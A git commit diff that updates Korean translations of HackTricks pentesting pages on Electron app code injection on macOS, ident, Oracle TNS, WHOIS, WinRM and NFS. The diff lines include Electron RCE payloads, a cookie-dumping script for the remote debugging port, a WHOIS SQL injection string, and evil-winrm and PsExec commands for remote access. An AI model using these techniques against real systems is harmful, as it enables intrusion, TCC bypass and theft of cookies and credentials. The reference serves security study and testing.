mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
00a7df57d3
commit
1dd5941c82
@ -11,11 +11,11 @@ Electron이 무엇인지 모른다면 [**여기에서 많은 정보를 찾을
|
||||
|
||||
이 기술들은 다음에 논의될 것이지만, 최근 Electron은 이를 방지하기 위해 여러 **보안 플래그**를 추가했습니다. 이것이 바로 [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)이며, 이는 macOS에서 Electron 앱이 **임의의 코드를 로드하는 것을 방지**하는 데 사용됩니다:
|
||||
|
||||
- **`RunAsNode`**: 비활성화되면 코드 주입을 위한 환경 변수 **`ELECTRON_RUN_AS_NODE`**의 사용을 방지합니다.
|
||||
- **`RunAsNode`**: 비활성화되면 코드 주입을 위해 환경 변수 **`ELECTRON_RUN_AS_NODE`**의 사용을 방지합니다.
|
||||
- **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 무시됩니다. 이를 통해 코드 주입을 피할 수 있습니다.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이를 통해 이 파일의 내용을 수정하여 **코드 주입**을 방지합니다.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이 파일의 내용을 수정하여 **코드 주입**을 방지합니다.
|
||||
- **`OnlyLoadAppFromAsar`**: 이 옵션이 활성화되면 다음 순서로 로드하는 대신: **`app.asar`**, **`app`** 및 마지막으로 **`default_app.asar`**. 오직 app.asar만 확인하고 사용하므로, **`embeddedAsarIntegrityValidation`** 퓨즈와 결합할 때 **검증되지 않은 코드를 로드하는 것이 불가능**합니다.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스는 V8 스냅샷을 위해 `browser_v8_context_snapshot.bin`이라는 파일을 사용합니다.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스는 `browser_v8_context_snapshot.bin`이라는 파일을 V8 스냅샷으로 사용합니다.
|
||||
|
||||
코드 주입을 방지하지 않는 또 다른 흥미로운 퓨즈는:
|
||||
|
||||
@ -46,7 +46,7 @@ In macOS applications this is typically in `application.app/Contents/Frameworks/
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
이 파일을 [https://hexed.it/](https://hexed.it/)에서 열고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에는 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타내는 ASCII 숫자 "0" 또는 "1"이 표시됩니다. 헥스 코드를 수정하여(`0x30`은 `0`이고 `0x31`은 `1`) **퓨즈 값을 수정**할 수 있습니다.
|
||||
이 파일을 [https://hexed.it/](https://hexed.it/)에 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에는 각 퓨즈가 비활성화되었는지 활성화되었는지를 나타내는 ASCII 숫자 "0" 또는 "1"이 표시됩니다. 헥스 코드를 수정하여(`0x30`은 `0`이고 `0x31`은 `1`) **퓨즈 값을 수정**할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -54,29 +54,29 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
||||
|
||||
## RCE 전자 애플리케이션에 코드 추가
|
||||
|
||||
Electron 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로, 공격자는 이러한 파일에 코드를 주입하여 서명이 확인되지 않고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
|
||||
Electron 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로 공격자는 이러한 파일에 코드를 주입하여 서명이 확인되지 않고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 그러나 현재 두 가지 제한 사항이 있습니다:
|
||||
> 그러나 현재 2가지 제한 사항이 있습니다:
|
||||
>
|
||||
> - 앱을 수정하려면 **`kTCCServiceSystemPolicyAppBundles`** 권한이 **필요**하므로 기본적으로 더 이상 가능하지 않습니다.
|
||||
> - 컴파일된 **`asap`** 파일은 일반적으로 **`embeddedAsarIntegrityValidation`** `및` **`onlyLoadAppFromAsar`**가 **활성화**되어 있습니다.
|
||||
> - 컴파일된 **`asap`** 파일은 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** `및` **`onlyLoadAppFromAsar`** `가 활성화되어 있습니다.`
|
||||
>
|
||||
> 이로 인해 이 공격 경로가 더 복잡해지거나 불가능해집니다.
|
||||
|
||||
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하다는 점에 유의하십시오. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고 폴더 **`app.app/Contents`**의 이름을 **`app.app/NotCon`**으로 변경한 다음, **악성** 코드로 **asar** 파일을 **수정**하고 다시 **`app.app/Contents`**로 이름을 바꾼 후 실행할 수 있습니다.
|
||||
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하다는 점에 유의하십시오. 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고 폴더 **`app.app/Contents`**의 이름을 **`app.app/NotCon`**으로 바꾸고, **악성** 코드로 **asar** 파일을 **수정**한 후 다시 **`app.app/Contents`**로 이름을 바꾸고 실행할 수 있습니다.
|
||||
|
||||
다음 명령어로 asar 파일에서 코드를 추출할 수 있습니다:
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
그리고 수정한 후 다시 패킹하십시오:
|
||||
그리고 수정한 후 다시 패킹합니다:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
[**문서에 따르면**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), 이 환경 변수가 설정되면 프로세스가 일반 Node.js 프로세스로 시작됩니다.
|
||||
[**문서**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node)에 따르면, 이 환경 변수가 설정되면 프로세스가 일반 Node.js 프로세스로 시작됩니다.
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 만약 fuse **`RunAsNode`**가 비활성화되어 있으면 env var **`ELECTRON_RUN_AS_NODE`**는 무시되며, 이 방법은 작동하지 않습니다.
|
||||
> 만약 fuse **`RunAsNode`**가 비활성화되어 있다면 env var **`ELECTRON_RUN_AS_NODE`**는 무시되며, 이 방법은 작동하지 않습니다.
|
||||
|
||||
### 앱 Plist에서의 주입
|
||||
|
||||
@ -114,7 +114,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
```
|
||||
## RCE with `NODE_OPTIONS`
|
||||
|
||||
페이로드를 다른 파일에 저장하고 실행할 수 있습니다:
|
||||
다른 파일에 페이로드를 저장하고 실행할 수 있습니다:
|
||||
```bash
|
||||
# Content of /tmp/payload.js
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
|
||||
@ -123,7 +123,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 만약 퓨즈 **`EnableNodeOptionsEnvironmentVariable`** 가 **비활성화** 되어 있다면, 앱은 env 변수 **NODE_OPTIONS** 를 무시하고 실행됩니다. 단, env 변수 **`ELECTRON_RUN_AS_NODE`** 가 설정되어 있지 않으면, 퓨즈 **`RunAsNode`** 가 비활성화 되어 있을 경우에도 무시됩니다.
|
||||
> 만약 퓨즈 **`EnableNodeOptionsEnvironmentVariable`** 가 **비활성화** 되어 있다면, 앱은 env 변수 **NODE_OPTIONS** 를 무시하고 실행됩니다. 단, env 변수 **`ELECTRON_RUN_AS_NODE`** 가 설정되어 있어야 하며, 퓨즈 **`RunAsNode`** 가 비활성화 되어 있다면 이것도 **무시** 됩니다.
|
||||
>
|
||||
> **`ELECTRON_RUN_AS_NODE`** 를 설정하지 않으면, 다음과 같은 **오류**를 발견하게 됩니다: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
@ -157,9 +157,11 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
> [!CAUTION]
|
||||
> 만약 퓨즈 **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 **노드 매개변수**(예: `--inspect`)를 무시하고 실행되며, 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되지 않는 한 무시됩니다. 또한 퓨즈 **`RunAsNode`**가 비활성화되어 있으면 이 변수도 **무시됩니다**.
|
||||
>
|
||||
> 그러나 **electron 매개변수 `--remote-debugging-port=9229`**를 사용하여 Electron 앱에서 **히스토리**(GET 명령어로)나 **브라우저의 쿠키**를 훔칠 수 있습니다(브라우저 내에서 **복호화**되며, 이를 제공하는 **json 엔드포인트**가 있습니다).
|
||||
> 그러나 여전히 **electron 매개변수 `--remote-debugging-port=9229`**를 사용할 수 있지만, 이전 페이로드는 다른 프로세스를 실행하는 데 작동하지 않습니다.
|
||||
|
||||
이 방법에 대해서는 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)에서 배울 수 있으며, 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)이나 다음과 같은 간단한 스크립트를 사용할 수 있습니다:
|
||||
매개변수 **`--remote-debugging-port=9222`**를 사용하면 Electron 앱에서 **히스토리**(GET 명령어 사용)나 브라우저의 **쿠키**와 같은 정보를 훔칠 수 있습니다(브라우저 내에서 **복호화**되며, 이를 제공하는 **json 엔드포인트**가 있습니다).
|
||||
|
||||
이 방법에 대해 배우려면 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)를 참조하고 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 또는 다음과 같은 간단한 스크립트를 사용할 수 있습니다:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
@ -167,9 +169,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||
print(ws.recv()
|
||||
```
|
||||
In [**this blogpost**](https://hackerone.com/reports/1274695), 이 디버깅을 악용하여 헤드리스 크롬이 **임의의 파일을 임의의 위치에 다운로드**하도록 할 수 있습니다.
|
||||
In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is abused to make a headless chrome **download arbitrary files in arbitrary locations**.
|
||||
|
||||
### 앱 plist에서의 주입
|
||||
### Injection from the App Plist
|
||||
|
||||
이 env 변수를 plist에서 악용하여 지속성을 유지하기 위해 다음 키를 추가할 수 있습니다:
|
||||
```xml
|
||||
@ -188,7 +190,7 @@ In [**this blogpost**](https://hackerone.com/reports/1274695), 이 디버깅을
|
||||
## TCC 우회 구버전 악용
|
||||
|
||||
> [!TIP]
|
||||
> macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 **이전 기술로 Electron 애플리케이션에 코드를 주입할 수 없는 경우** 이전 버전의 APP를 다운로드하여 그 위에 코드를 주입할 수 있습니다. 그러면 여전히 TCC 권한을 받을 수 있습니다(Trust Cache가 이를 방지하지 않는 한).
|
||||
> macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 **이전 기술로 Electron 애플리케이션에 코드를 주입할 수 없는 경우**, APP의 이전 버전을 다운로드하고 그 위에 코드를 주입할 수 있습니다. 그러면 여전히 TCC 권한을 받을 수 있습니다(Trust Cache가 이를 방지하지 않는 한).
|
||||
|
||||
## 비 JS 코드 실행
|
||||
|
||||
|
@ -4,20 +4,20 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ident Protocol**는 **인터넷**을 통해 **TCP 연결**을 특정 사용자와 연결하는 데 사용됩니다. 원래 **네트워크 관리** 및 **보안**을 돕기 위해 설계되었으며, 서버가 포트 113에서 클라이언트에게 쿼리하여 특정 TCP 연결의 사용자에 대한 정보를 요청할 수 있도록 작동합니다.
|
||||
**Ident Protocol**는 **인터넷**을 통해 **TCP 연결**을 특정 사용자와 연결하는 데 사용됩니다. 원래는 **네트워크 관리** 및 **보안**을 돕기 위해 설계되었으며, 서버가 포트 113에서 클라이언트에게 쿼리하여 특정 TCP 연결의 사용자에 대한 정보를 요청할 수 있도록 작동합니다.
|
||||
|
||||
그러나 현대의 개인 정보 보호 문제와 오용 가능성으로 인해, 무단 당사자에게 사용자 정보를 우연히 노출할 수 있기 때문에 사용이 감소했습니다. 이러한 위험을 완화하기 위해 암호화된 연결 및 엄격한 접근 제어와 같은 강화된 보안 조치를 권장합니다.
|
||||
그러나 현대의 개인 정보 보호 문제와 오용 가능성으로 인해 사용이 감소하였으며, 이는 무심코 사용자 정보를 무단 당사자에게 노출할 수 있습니다. 이러한 위험을 완화하기 위해 암호화된 연결 및 엄격한 접근 제어와 같은 강화된 보안 조치를 권장합니다.
|
||||
|
||||
**기본 포트:** 113
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
113/tcp open ident
|
||||
```
|
||||
## **열거**
|
||||
## **Enumeration**
|
||||
|
||||
### **수동 - 사용자 가져오기/서비스 식별**
|
||||
### **Manual - Get user/Identify the service**
|
||||
|
||||
만약 머신이 ident와 samba (445) 서비스를 실행 중이고, 포트 43218을 사용하여 samba에 연결되어 있다면, 다음을 통해 samba 서비스를 실행 중인 사용자를 확인할 수 있습니다:
|
||||
만약 머신이 ident와 samba (445) 서비스를 실행 중이고, 포트 43218을 사용하여 samba에 연결되어 있다면, samba 서비스를 실행 중인 사용자를 확인할 수 있습니다:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -25,7 +25,7 @@ PORT STATE SERVICE
|
||||
|
||||
.png>)
|
||||
|
||||
다른 오류:
|
||||
다른 오류들:
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Oracle 데이터베이스(Oracle DB)는 Oracle Corporation의 관계형 데이터베이스 관리 시스템(RDBMS)입니다(자세한 내용은 [여기](https://www.techopedia.com/definition/8711/oracle-database)에서 확인하세요).
|
||||
Oracle 데이터베이스(Oracle DB)는 Oracle Corporation의 관계형 데이터베이스 관리 시스템(RDBMS)입니다(여기에서 확인할 수 있습니다 [here](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Oracle을 열거할 때 첫 번째 단계는 일반적으로 기본 포트(1521/TCP)에 위치한 TNS-Listener와 통신하는 것입니다(1522–1529에서 보조 리스너를 얻을 수도 있습니다).
|
||||
Oracle을 열거할 때 첫 번째 단계는 일반적으로 기본 포트(1521/TCP)에 위치한 TNS-Listener와 대화하는 것입니다(1522–1529에서 보조 리스너를 얻을 수도 있습니다).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Oracle 데이터베이스(Oracle DB)는 Oracle Corporation의 관계형 데이터베이스 관리 시스템(RDBMS)입니다(여기에서).
|
||||
Oracle 데이터베이스(Oracle DB)는 Oracle Corporation의 관계형 데이터베이스 관리 시스템(RDBMS)입니다(여기에서 확인할 수 있습니다 [here](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Oracle을 열거할 때 첫 번째 단계는 일반적으로 기본 포트(1521/TCP)에 위치한 TNS-Listener와 통신하는 것입니다(1522–1529에서 보조 리스너를 얻을 수도 있습니다).
|
||||
Oracle을 열거할 때 첫 번째 단계는 일반적으로 기본 포트(1521/TCP)에 위치한 TNS-Listener와 대화하는 것입니다(1522–1529에서 보조 리스너를 얻을 수도 있습니다).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
|
@ -22,7 +22,7 @@ WHOIS 서비스에 정보를 요청할 때 사용되는 데이터베이스가
|
||||
|
||||
.png>)
|
||||
|
||||
또한, WHOIS 서비스는 항상 정보를 저장하고 추출하기 위해 **데이터베이스**를 사용해야 합니다. 따라서 사용자가 제공한 정보로 **데이터베이스**를 **쿼리**할 때 **SQLInjection**이 발생할 수 있습니다. 예를 들어 `whois -h 10.10.10.155 -p 43 "a') or 1=1#"`를 실행하면 **데이터베이스**에 저장된 **모든** **정보**를 **추출**할 수 있습니다.
|
||||
또한, WHOIS 서비스는 항상 정보를 저장하고 추출하기 위해 **데이터베이스**를 사용해야 합니다. 따라서 사용자가 제공한 정보로 **데이터베이스**를 **쿼리**할 때 **SQLInjection**이 발생할 수 있습니다. 예를 들어 `whois -h 10.10.10.155 -p 43 "a') or 1=1#"`를 실행하면 **데이터베이스**에 저장된 **모든 정보**를 **추출**할 수 있습니다.
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -15,7 +15,7 @@
|
||||
|
||||
### **WinRM 세션 시작하기**
|
||||
|
||||
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 모든 호스트를 신뢰할 수 있는 것으로 지정할 수 있습니다:
|
||||
PowerShell을 WinRM에 맞게 구성하기 위해 Microsoft의 `Enable-PSRemoting` cmdlet이 사용되며, 이는 컴퓨터가 원격 PowerShell 명령을 수락하도록 설정합니다. 권한이 상승된 PowerShell 접근을 통해 다음 명령을 실행하여 이 기능을 활성화하고 어떤 호스트든 신뢰할 수 있도록 지정할 수 있습니다:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
@ -28,7 +28,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
||||
```
|
||||
이 방법은 원격으로 WinRM을 설정할 수 있게 하여, 원거리에서 Windows 머신을 관리하는 유연성을 향상시킵니다.
|
||||
|
||||
### 구성 확인
|
||||
### 구성 확인하기
|
||||
|
||||
공격 머신의 설정을 확인하기 위해 `Test-WSMan` 명령을 사용하여 대상이 WinRM이 제대로 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부정보를 수신하게 되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상의 예상 출력 예시입니다:
|
||||
|
||||
@ -36,11 +36,11 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
응답에는 프로토콜 버전 및 wsmid에 대한 정보가 포함되어 있으며, 이는 WinRM이 올바르게 설정되었음을 나타냅니다.
|
||||
프로토콜 버전 및 wsmid에 대한 정보가 포함되어야 하며, 이는 WinRM이 올바르게 설정되었음을 나타냅니다.
|
||||
|
||||
.png>)
|
||||
|
||||
- 반대로, WinRM에 대해 **구성되지 않은** 대상을 위해서는 그러한 세부 정보가 없으며, 이는 적절한 WinRM 설정이 없음을 강조합니다.
|
||||
- 반대로, WinRM에 대해 **구성되지 않은** 대상을 위해서는 이러한 세부 정보가 없으며, 이는 적절한 WinRM 설정이 없음을 강조합니다.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
현재 PS 콘솔의 **명령을 실행할 수 있습니다** _**Invoke-Command**_를 통해. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
|
||||
현재 PS 콘솔의 명령을 _**Invoke-Command**_를 통해 **실행할 수 있습니다**. 로컬에 _**enumeration**_이라는 함수가 있고 이를 **원격 컴퓨터에서 실행하고 싶다면**, 다음과 같이 할 수 있습니다:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -66,7 +66,7 @@ Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep
|
||||
```
|
||||
### PS 세션 가져오기
|
||||
|
||||
대화형 PowerShell 셸을 얻으려면 `Enter-PSSession`을 사용하세요:
|
||||
대화형 PowerShell 셸을 얻으려면 `Enter-PSSession`을 사용하십시오:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -89,13 +89,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
|
||||
### **WinRM 강제 열기**
|
||||
|
||||
PS Remoting과 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음을 통해 활성화할 수 있습니다:
|
||||
PS Remoting과 WinRM을 사용하려고 하지만 컴퓨터가 구성되지 않은 경우, 다음 명령어로 활성화할 수 있습니다:
|
||||
```powershell
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
### 세션 저장 및 복원
|
||||
### Saving and Restoring sessions
|
||||
|
||||
이 **작동하지 않습니다** 만약 **언어**가 원격 컴퓨터에서 **제한**되어 있다면.
|
||||
이 **작동하지 않습니다** 만약 **언어**가 원격 컴퓨터에서 **제한되어** 있다면.
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -115,7 +115,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
|
||||
다음 오류가 발생하면:
|
||||
|
||||
`enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 다음 오류 메시지가 표시됩니다: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 자세한 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.`
|
||||
`enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 실패했습니다. 오류 메시지: WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 방식이 Kerberos와 다르거나 클라이언트 컴퓨터가 도메인에 가입되어 있지 않은 경우 HTTPS 전송을 사용해야 하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 이에 대한 자세한 정보를 얻을 수 있습니다: winrm help config. 자세한 내용은 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.`
|
||||
|
||||
클라이언트에서 시도하십시오 (정보는 [여기](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)에서 확인하십시오):
|
||||
```ruby
|
||||
@ -146,7 +146,7 @@ gem install evil-winrm
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
**evil-winrm**를 사용하여 **IPv6 주소**에 연결하려면 _**/etc/hosts**_ 파일에 **도메인 이름**을 IPv6 주소로 설정하여 항목을 생성하고 해당 도메인에 연결합니다.
|
||||
**evil-winrm**를 사용하여 **IPv6 주소**에 연결하려면 _**/etc/hosts**_ 파일에 **도메인 이름**을 IPv6 주소로 설정하여 해당 도메인에 연결합니다.
|
||||
|
||||
### evil-winrm으로 해시 전달하기
|
||||
```ruby
|
||||
@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||||
```
|
||||
### 루비 스크립트 사용
|
||||
### 루비 스크립트 사용하기
|
||||
|
||||
**여기에서 추출한 코드:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
|
||||
```ruby
|
||||
|
@ -1,4 +1,4 @@
|
||||
# 2049 - Pentesting NFS Service
|
||||
# 2049 - NFS 서비스 펜테스팅
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
**NFS**는 사용자가 네트워크를 통해 파일에 원활하게 접근할 수 있도록 설계된 **클라이언트/서버** 시스템으로, 이러한 파일이 로컬 디렉토리에 있는 것처럼 보이게 합니다.
|
||||
|
||||
이 프로토콜의 주목할 만한 점은 내장된 **인증** 또는 **권한 부여 메커니즘**이 없다는 것입니다. 대신, 권한 부여는 **파일 시스템 정보**에 의존하며, 서버는 **클라이언트가 제공한 사용자 정보**를 파일 시스템에서 요구하는 **권한 부여 형식**으로 정확하게 변환하는 역할을 합니다. 주로 **UNIX 구문**을 따릅니다.
|
||||
이 프로토콜의 주목할 만한 점은 내장된 **인증** 또는 **권한 부여 메커니즘**이 없다는 것입니다. 대신, 권한 부여는 **파일 시스템 정보**에 의존하며, 서버는 **클라이언트 제공 사용자 정보**를 파일 시스템에서 요구하는 **권한 부여 형식**으로 정확하게 변환하는 역할을 합니다. 주로 **UNIX 구문**을 따릅니다.
|
||||
|
||||
인증은 일반적으로 **UNIX `UID`/`GID` 식별자 및 그룹 멤버십**에 의존합니다. 그러나 클라이언트와 서버 간의 **`UID`/`GID` 매핑**의 불일치로 인해 문제가 발생할 수 있으며, 서버에 의한 추가 검증의 여지가 없습니다. 따라서 이 프로토콜은 인증 방법에 의존하기 때문에 **신뢰할 수 있는 네트워크** 내에서 사용하는 것이 가장 적합합니다.
|
||||
인증은 일반적으로 **UNIX `UID`/`GID` 식별자 및 그룹 멤버십**에 의존합니다. 그러나 클라이언트와 서버 간의 **`UID`/`GID` 매핑**의 불일치로 인해 서버에 의한 추가 검증이 불가능해지는 문제가 발생합니다. 따라서 이 프로토콜은 인증 방법에 의존하기 때문에 **신뢰할 수 있는 네트워크** 내에서 사용하는 것이 가장 적합합니다.
|
||||
|
||||
**기본 포트**: 2049/TCP/UDP (버전 4를 제외하고, TCP 또는 UDP만 필요함).
|
||||
```
|
||||
@ -16,13 +16,13 @@
|
||||
```
|
||||
### Versions
|
||||
|
||||
- **NFSv2**: 이 버전은 다양한 시스템과의 폭넓은 호환성으로 인식되며, 주로 UDP를 통한 초기 작업으로 그 중요성을 나타냅니다. **가장 오래된** 버전으로서, 향후 개발을 위한 기초를 마련했습니다.
|
||||
- **NFSv2**: 이 버전은 다양한 시스템과의 폭넓은 호환성으로 인식되며, 초기 작업이 주로 UDP를 통해 이루어졌다는 점에서 중요성을 지닙니다. **가장 오래된** 버전으로서, 향후 개발의 기초를 마련했습니다.
|
||||
|
||||
- **NFSv3**: 다양한 개선 사항과 함께 도입된 NFSv3는 이전 버전을 기반으로 하여 가변 파일 크기를 지원하고 개선된 오류 보고 메커니즘을 제공합니다. 발전에도 불구하고 NFSv2 클라이언트와의 완전한 하위 호환성에는 한계가 있었습니다.
|
||||
- **NFSv3**: 다양한 개선 사항과 함께 도입된 NFSv3는 가변 파일 크기를 지원하고 향상된 오류 보고 메커니즘을 제공함으로써 이전 버전을 확장했습니다. 그럼에도 불구하고 NFSv2 클라이언트와의 완전한 하위 호환성에는 한계가 있었습니다.
|
||||
|
||||
- **NFSv4**: NFS 시리즈의 이정표 버전인 NFSv4는 네트워크 간 파일 공유를 현대화하기 위해 설계된 기능 모음을 가져왔습니다. 주목할 만한 개선 사항으로는 **높은 보안**을 위한 Kerberos 통합, 방화벽을 통과하고 포트 매퍼 없이 인터넷에서 작동할 수 있는 기능, 접근 제어 목록(ACL) 지원, 상태 기반 작업의 도입이 있습니다. 성능 향상과 상태 기반 프로토콜의 채택은 NFSv4를 네트워크 파일 공유 기술의 중요한 발전으로 구별합니다.
|
||||
